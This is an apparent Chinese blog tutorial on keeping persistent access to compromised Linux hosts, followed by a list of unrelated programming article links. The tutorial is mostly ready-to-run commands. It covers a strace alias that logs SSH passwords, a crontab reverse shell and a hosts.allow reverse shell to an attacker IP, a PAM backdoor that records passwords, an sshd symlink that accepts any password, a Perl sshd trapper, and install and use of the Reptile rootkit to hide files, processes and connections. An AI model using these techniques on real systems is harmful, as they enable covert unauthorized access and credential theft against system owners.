权限维持_Linux操作系统后门
时间:2022-07-22
本文章向大家介绍权限维持_Linux操作系统后门,主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
Linux操作系统后门
alias
alias 命令可以设置别名
执行 ll 相当于执行 ls -l
alias ll=ls -l
ssh 后门设计
在管理员使用 ssh 时生效,后门将输入的 ssh 地址账号密码保存到 /tmp/sshpwd-date.log 中
strace 命令可以跟踪进程运行时,系统调用和接受的信号
alias ssh='strace -o /tmp/sshpwd-`date '+%Y-%m-%d-%H-%M-%S-%s'`.log -e read,write,connect -s2048 ssh'
计划任务
每隔 60 分钟执行一次,将 shell 反弹到 192.168.148.1:8888(crontab -l;printf "*/60 * * * * exec 9<> /dev/tcp/192.168.148.1/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i;rno crontab for `whoami`%100cn")|crontab -
TCP_Wrappers
- TCP_Wrappers 是一个工作在应用层的安全工具
以 ssh 为例,每当有 ssh 的连接请求时,tcpd(Tcp Wrapper的守护进程)即会截获请求, 当请求满足配置文件中的规则,则放行,否则中断连接,配置文件中可设置匹配规则后执行命令
使用 ssh 连接目标服务器触发反弹 shell
echo 'ALL: ALL: spawn (bash -c "/bin/bash -i >& /dev/tcp/192.168.148.1/8888 0>&1") & :allow' > /etc/hosts.allow
PAM后门
PAM 是一种认证机制,提供一套统一的 API,可根据需要给不同的服务配置不同的认证方式
添加后门:
- 查看本地 PAM 版本
apt list --installed|grep pam
- 下载解压对应版本的 PAM 源码 http://www.linux-pam.org/library/
wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
tar -xzvf Linux-PAM-1.1.8.tar.gz
- 修改源码,添加后门代码
vim ./Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c
- 替换原有 PAM 模块,添加后门
cd Linux-PAM-1.1.8
编译 PAM 源码
./configure && make
备份原有 PAM 模块
mv /lib/x86_64-linux-gnu/security/pam_unix.so /lib/x86_64-linux-gnu/security/pam_unix.so.bak
使用新编译的 PAM 模块替换原有模块
cp ./modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/
后门测试
使用添加的密码 test 登陆
当管理员登陆成功时,密码会被记录在 /etc/pam.txt 中
SSH后门
执行下面的命令后可使用任意密码 ssh 连接目标机器 8888 端口
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888
SSH Trapper后门
后门比较隐蔽,没有开放额外的端口,只要对方开了 ssh 服务,就能远程连接
如果源端口是 8888 就直接反弹 shell,否则就把请求转发给真正的 ssh 服务
后门伪装成一个 perl 脚本,名为 sshd,位于 /usr/sbin/sshd,将系统原来的 sshd 移到 /usr/bin 下
创建后门
cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^.."xb8/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
连接后门
socat STDIO TCP4:192.168.148.128:22,sourceport=8888;
修改后门的端口
# python2
import struct
buffer = struct.pack('>I6',8888)
print(repr(buffer))
Rookit
Rootkit 是一种特殊的后门,可以在目标机器上隐藏自身以及指定的文件,进程,网络连接信息
下面以一款开源 rootkit 为例,简单介绍一下它的用法以及功能特点 https://github.com/f0rb1dd3n/Reptile
目标机安装 Reptile
apt install libncurses-dev
git clone https://github.com/f0rb1dd3n/Reptile.git
cd Reptile
make menuconfig
make
make installapt-cache search linux
目标机后门配置
- 目标机本地使用
赋予非特权用户以 root 权限
/reptile/reptile_cmd root
隐藏显示文件,目录和内核模块
名称中具有关键字 reptile 的所有文件和文件夹将被隐藏,关键字可以在安装之前进行配置
/reptile/reptile_cmd hide
/reptile/reptile_cmd show
隐藏显示进程
/reptile/reptile_cmd conn <IP> hide
/reptile/reptile_cmd conn <IP> show
隐藏显示 TCP 和 UDP 连接
/reptile/reptile_cmd conn <IP> hide
/reptile/reptile_cmd conn <IP> show
文件内容篡改
标签之间的所有内容将被隐藏
#<reptile>
content to hide
#</reptile>
攻击机连接后门
攻击机安装运行控制端
apt install libreadline-dev
git clone https://github.com/f0rb1dd3n/Reptile.git
cd Reptile
make client
cd output
./client
使用攻击机的特定端口(666)给目标机任意端口发送特定数据(hax0r) 当目标机接收到这个数据后,按照配置反弹 shell(2333)
- jsp中的JSTL与EL表达式用法及区别(一)
- java线程池模型
- lock小记
- HTML布局的基本要点
- Building a Middle Tier Component using NHibernate and Spring.NET
- Linq 和DefaultView两种方法去掉DataTable 里的重复行
- MySQL事务autocommit自动提交
- wcf webHttpBinding Post 大数据量提交 ios c#客户端
- 你现在还在手动生成set,get方法吗?
- ios 接收 c# socket udp 组播
- 大数据基础系列之JAVA引用详解
- Java集合深度解析之ArrayList
- wpf listBox 多列大图片效果
- ASP.NET 主题(Themes)FAQ
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法